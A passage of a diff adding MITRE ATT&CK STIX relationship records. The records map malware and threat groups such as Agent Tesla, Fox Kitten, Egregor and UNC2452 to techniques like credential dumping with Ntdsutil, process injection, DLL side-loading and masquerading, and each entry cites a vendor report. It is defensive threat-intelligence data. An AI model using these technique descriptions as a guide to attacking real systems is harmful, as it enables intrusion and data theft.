"https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", + "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020.", + "source_name": "Bitdefender Agent Tesla April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1bce55fa-b34e-4522-9422-85bf3fdda889", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has used wmi queries to gather information from the system.(Citation: Bitdefender Agent Tesla April 2020) ", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "modified": "2020-12-17T16:56:47.267Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-17T16:56:47.267Z", + "external_references": [ + { + "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", + "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020.", + "source_name": "Bitdefender Agent Tesla April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d9cd513e-c863-4695-a6e0-b2e4e79c24e8", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can achieve persistence by modifying Registry key entries.(Citation: SentinelLabs Agent Tesla Aug 2020) ", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2020-12-17T17:23:08.124Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-17T17:23:08.124Z", + "external_references": [ + { + "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020.", + "source_name": "SentinelLabs Agent Tesla Aug 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0432482e-344c-4be3-9a70-5391cf41a935", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can inject into known, vulnerable binaries on targeted hosts.(Citation: SentinelLabs Agent Tesla Aug 2020) ", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "modified": "2020-12-17T18:16:05.012Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-17T18:16:05.012Z", + "external_references": [ + { + "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020.", + "source_name": "SentinelLabs Agent Tesla Aug 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5ffaf9bf-10a0-477f-88ff-5b9e7d5831cc", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used Ntdsutil to dump credentials.(Citation: Symantec Cicada November 2020)", + "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", + "modified": "2020-12-17T18:57:21.258Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-17T18:57:21.258Z", + "external_references": [ + { + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.", + "source_name": "Symantec Cicada November 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7b59aa8f-d9d6-4bb5-b2ca-6fc1d36c1550", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used native APIs including GetModuleFileName, lstrcat, CreateFile, and ReadFile.(Citation: Symantec Cicada November 2020)", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "modified": "2020-12-29T16:51:25.615Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-17T19:40:29.547Z", + "external_references": [ + { + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.", + "source_name": "Symantec Cicada November 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ca295c89-bee0-4702-b0e1-61416023bacb", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has searched compromised systems for folders of interest including those related to HR, audit and expense, and meeting memos.(Citation: Symantec Cicada November 2020)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-12-17T19:43:08.197Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-17T19:43:08.197Z", + "external_references": [ + { + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. 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(2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020.", + "source_name": "CrowdStrike PIONEER KITTEN August 2020" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020.", + "source_name": "CISA AA20-259A Iran-Based Actor September 2020" + }, + { + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. 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Iran-Based Threat Actor Exploits VPN Vulnerabilities. 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Retrieved December 21, 2020.", + "source_name": "ClearSky Pay2Kitten December 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--68efc544-05be-454e-86e9-18d55c7d0f2b", + "description": "(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "modified": "2020-12-22T21:05:13.875Z", + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-22T21:05:13.875Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. 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(2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020.", + "source_name": "Cybereason Molerats Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8e2b7383-c6dc-40c1-bb88-3176ff98c9dc", + "description": "[DropBook](https://attack.mitre.org/software/S0547) can unarchive data downloaded from the C2 to obtain the payload and persistence modules.(Citation: Cybereason Molerats Dec 2020) ", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2020-12-23T13:37:53.541Z", + "source_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-23T13:37:53.541Z", + "external_references": [ + { + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020.", + "source_name": "Cybereason Molerats Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e11c02c8-e740-489f-925f-33c05c94c80f", + "description": "[DropBook](https://attack.mitre.org/software/S0547) has checked for the presence of Arabic language in the infected machine's settings.(Citation: Cybereason Molerats Dec 2020) ", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-12-23T13:37:53.558Z", + "source_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-23T13:37:53.558Z", + "external_references": [ + { + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020.", + "source_name": "Cybereason Molerats Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--54e27824-ac46-49ca-8b58-dc5726b6cefb", + "description": "[Spark](https://attack.mitre.org/software/S0543) has encoded communications with the C2 server with base64.(Citation: Unit42 Molerat Mar 2020) ", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "modified": "2021-04-19T22:03:52.473Z", + "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-23T16:40:34.170Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020.", + "source_name": "Unit42 Molerat Mar 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--883a60f7-0111-4542-b590-2f0140ba26bd", + "description": "[Spark](https://attack.mitre.org/software/S0543) has used a splash screen to check whether an user actively clicks on the screen before running malicious code.(Citation: Unit42 Molerat Mar 2020) ", + "target_ref": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938", + "modified": "2020-12-23T16:40:34.175Z", + "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-23T16:40:34.175Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020.", + "source_name": "Unit42 Molerat Mar 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--54b2d2db-b1d8-49aa-82f3-08d8a53a4899", + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used cmd.exe likely as a password changing mechanism.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-12-23T18:56:54.608Z", + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-23T18:56:54.608Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. 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Retrieved December 21, 2020.", + "source_name": "CISA AA20-259A Iran-Based Actor September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--99c87be1-d8f1-4b41-836f-8811628c4b80", + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Scheduled Tasks for persistence and to load and execute a reverse proxy binary.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "modified": "2020-12-29T20:30:01.677Z", + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-23T19:10:21.400Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. 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Retrieved December 21, 2020.", + "source_name": "ClearSky Pay2Kitten December 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--df898edd-0829-4222-b50b-e7cbf75a0fb4", + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used sticky keys to launch a command prompt.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", + "modified": "2020-12-23T19:17:53.351Z", + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-23T19:17:53.351Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020.", + "source_name": "CISA AA20-259A Iran-Based Actor September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e51ab951-2e6f-4c7e-bd10-fe0dc0bb4671", + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has named binaries and configuration files svhost and dllhost respectively to appear legitimate.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "modified": "2020-12-23T20:50:54.873Z", + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-23T20:50:54.873Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020.", + "source_name": "CISA AA20-259A Iran-Based Actor September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--31025044-b0de-4dcd-bd26-fe467b803000", + "description": "[AdFind](https://attack.mitre.org/software/S0552) can gather information about organizational units (OUs) and domain trusts from Active Directory.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "modified": "2020-12-29T17:44:27.601Z", + "source_ref": "tool--f59508a6-3615-47c3-b493-6676e1a39a87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-28T18:50:41.493Z", + "external_references": [ + { + "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ", + "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", + "source_name": "Red Canary Hospital Thwarted Ryuk October 2020" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. 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Retrieved December 30, 2020.", + "source_name": "Cybereason Egregor Nov 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--552c3e40-dbb9-4675-bc31-5436a15253d8", + "description": "[Egregor](https://attack.mitre.org/software/S0554)'s payloads are custom-packed, archived and encrypted to prevent analysis.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)", + "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "modified": "2020-12-29T21:35:52.373Z", + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-29T21:32:28.160Z", + "external_references": [ + { + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary", + "description": "NHS Digital. (2020, November 26). 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Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020.", + "source_name": "Cyble Egregor Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--89ef773b-6d5d-482e-9afd-bc892eb8093e", + "description": "[Egregor](https://attack.mitre.org/software/S0554) has used multiple anti-analysis and anti-sandbox techniques to prevent automated analysis by sandboxes.(Citation: Cyble Egregor Oct 2020)(Citation: NHS Digital Egregor Nov 2020) ", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "modified": "2020-12-29T22:21:11.438Z", + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-29T22:21:11.438Z", + "external_references": [ + { + "url": "https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/", + "description": "Cybleinc. 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Retrieved December 29, 2020.", + "source_name": "NHS Digital Egregor Nov 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9eaf89d5-01aa-4758-a2a9-abac83d2a17e", + "description": "[Egregor](https://attack.mitre.org/software/S0554) has used DLL side-loading to execute its payload.(Citation: Cyble Egregor Oct 2020) ", + "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "modified": "2020-12-29T22:21:11.445Z", + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-29T22:21:11.445Z", + "external_references": [ + { + "url": "https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/", + "description": "Cybleinc. (2020, October 31). Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020.", + "source_name": "Cyble Egregor Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e88d0a1d-9861-4260-b030-dd80e81d179a", + "description": "[Egregor](https://attack.mitre.org/software/S0554) can inject its payload into iexplore.exe process.(Citation: Cyble Egregor Oct 2020)", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "modified": "2021-01-06T17:21:11.633Z", + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-29T22:21:11.435Z", + "external_references": [ + { + "url": "https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/", + "description": "Cybleinc. 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Retrieved December 29, 2020.", + "source_name": "Cyble Egregor Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--de071e4d-eee7-4ad5-96b6-fe83bfe3e25a", + "description": "[Egregor](https://attack.mitre.org/software/S0554) has checked for the LogMein event log in an attempt to encrypt files in remote machines.(Citation: Cyble Egregor Oct 2020)", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "modified": "2020-12-30T16:39:34.375Z", + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-30T16:39:34.375Z", + "external_references": [ + { + "url": "https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/", + "description": "Cybleinc. (2020, October 31). Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020.", + "source_name": "Cyble Egregor Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e5080d8c-37e3-4a64-8983-f92356850c99", + "description": "[Egregor](https://attack.mitre.org/software/S0554) has used batch files for execution and can launch Internet Explorer from cmd.exe.(Citation: JoeSecurity Egregor 2020)(Citation: Cybereason Egregor Nov 2020) ", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2021-03-22T22:05:59.545Z", + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-30T16:39:34.481Z", + "external_references": [ + { + "url": "https://www.joesandbox.com/analysis/318027/0/html", + "description": "Joe Security. (n.d.). Analysis Report fasm.dll. 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Retrieved December 29, 2020.", + "source_name": "Volexity SolarWinds" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c6ca900d-70ac-4749-bf88-61afac9c82c7", + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) collected emails from specific individuals, such as executives and IT staff, using New-MailboxExportRequest followed by Get-MailboxExportRequest.(Citation: Volexity SolarWinds)", + "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", + "modified": "2021-01-05T17:45:48.881Z", + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-05T17:45:48.881Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. 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Retrieved January 11, 2021.", + "source_name": "CrowdStrike SUNSPOT Implant January 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b8bba514-9788-4f60-b4d1-54b8b22a67f5", + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) removed evidence of email export requests using Remove-MailboxExportRequest.(Citation: Volexity SolarWinds) They temporarily replaced legitimate utilities with their own, executed their payload, and then restored the original file.(Citation: FireEye SUNBURST Backdoor December 2020)", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "modified": "2021-01-25T17:29:14.989Z", + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-05T17:45:48.893Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. 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(2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b04a3b6e-7423-47d1-8be9-f8cbb0a4b283", + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) renamed a version of [AdFind](https://attack.mitre.org/software/S0552) to sqlceip.exe or csrss.exe in an attempt to appear as the SQL Server Telemetry Client or Client Service Runtime Process, respectively.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "modified": "2021-01-25T17:29:15.013Z", + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-05T17:45:48.894Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. 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Retrieved December 29, 2020.", + "source_name": "Volexity SolarWinds" + }, + { + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.", + "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1101a059-6afe-4c41-aa9d-cd607f33ec68", + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) downloaded additional tools, such as [TEARDROP](https://attack.mitre.org/software/S0560) malware and [Cobalt Strike](https://attack.mitre.org/software/S0154), to the compromised host following initial compromise.(Citation: FireEye SUNBURST Backdoor December 2020)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2021-01-12T17:16:31.943Z", + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-05T19:43:55.453Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--67a319cb-acfb-4546-a9ca-67e9d5905506", + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) staged data and files in password-protected archives on a victim's OWA server.(Citation: Volexity SolarWinds)", + "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", + "modified": "2021-01-11T21:27:16.484Z", + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "created_by_ref": 